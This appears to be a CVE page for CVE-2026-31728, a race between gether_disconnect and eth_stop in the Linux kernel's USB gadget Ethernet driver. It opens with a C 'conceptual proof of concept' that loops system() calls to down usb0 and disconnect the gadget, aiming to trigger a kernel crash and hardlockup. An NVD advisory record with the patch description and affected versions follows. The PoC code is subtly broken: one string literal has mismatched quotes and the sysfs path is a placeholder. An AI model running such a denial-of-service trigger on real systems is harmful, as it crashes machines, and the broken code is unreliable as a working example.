CVE-2026-31728

/* * Conceptual Proof of Concept for CVE-2026-31728 * This code attempts to trigger the race condition between * gether_disconnect and eth_stop in the Linux kernel. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> // Simulate the operations that trigger the vulnerability void* trigger_ether_stop(void* arg) { // In a real scenario, this corresponds to bringing down the interface // e.g., 'ip link set usb0 down' which calls eth_stop() while(1) { // System call or ioctl to stop network interface system("ip link set usb0 down"); usleep(100); } return NULL; } void* trigger_gadget_disconnect(void* arg) { // In a real scenario, this corresponds to disconnecting the USB gadget // e.g., via configfs or physical disconnect triggering gether_disconnect() while(1) { // System call to disconnect USB gadget system("echo " > /sys/class/udc/.../disconnect"); // Pseudo path usleep(100); } return NULL; } int main() { pthread_t t1, t2; printf("[+] Triggering race condition for CVE-2026-31728...\n"); // Create threads to race against each other pthread_create(&t1, NULL, trigger_ether_stop, NULL); pthread_create(&t2, NULL, trigger_gadget_disconnect, NULL); // Wait for threads (in practice, the kernel may crash before this) pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

{"cve": {"id": "CVE-2026-31728", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:35.333", "lastModified": "2026-05-07T16:16:19.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: u_ether: Fix race between gether_disconnect and eth_stop\n\nA race condition between gether_disconnect() and eth_stop() leads to a\nNULL pointer dereference. Specifically, if eth_stop() is triggered\nconcurrently while gether_disconnect() is tearing down the endpoints,\neth_stop() attempts to access the cleared endpoint descriptor, causing\nthe following NPE:\n\n Unable to handle kernel NULL pointer dereference\n Call trace:\n __dwc3_gadget_ep_enable+0x60/0x788\n dwc3_gadget_ep_enable+0x70/0xe4\n usb_ep_enable+0x60/0x15c\n eth_stop+0xb8/0x108\n\nBecause eth_stop() crashes while holding the dev->lock, the thread\nrunning gether_disconnect() fails to acquire the same lock and spins\nforever, resulting in a hardlockup:\n\n Core - Debugging Information for Hardlockup core(7)\n Call trace:\n queued_spin_lock_slowpath+0x94/0x488\n _raw_spin_lock+0x64/0x6c\n gether_disconnect+0x19c/0x1e8\n ncm_set_alt+0x68/0x1a0\n composite_setup+0x6a0/0xc50\n\nThe root cause is that the clearing of dev->port_usb in\ngether_disconnect() is delayed until the end of the function.\n\nMove the clearing of dev->port_usb to the very beginning of\ngether_disconnect() while holding dev->lock. This cuts off the link\nimmediately, ensuring eth_stop() will see dev->port_usb as NULL and\nsafely bail out."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.27", "versionEndExcluding": "5.10.253", "matchCriteriaId": "A01FA99D-A279-4156-BCB7-C23B63339A60"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.169", "matchCriteriaId": "DBEC0E5D-641C-4E98-A6D9-5799B10CE451"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6ad77458637b78ec655e3da5f112c862e6690a9d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8ff689edfeceb5e3ec1623e09af2b2aa0f1098a8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {" ... 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